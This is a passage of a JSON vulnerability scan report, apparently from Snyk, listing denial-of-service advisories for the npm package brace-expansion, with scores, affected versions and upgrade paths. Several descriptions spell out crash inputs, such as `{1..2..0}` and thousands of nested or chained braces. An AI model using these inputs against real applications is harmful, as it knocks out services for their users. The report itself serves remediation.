"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
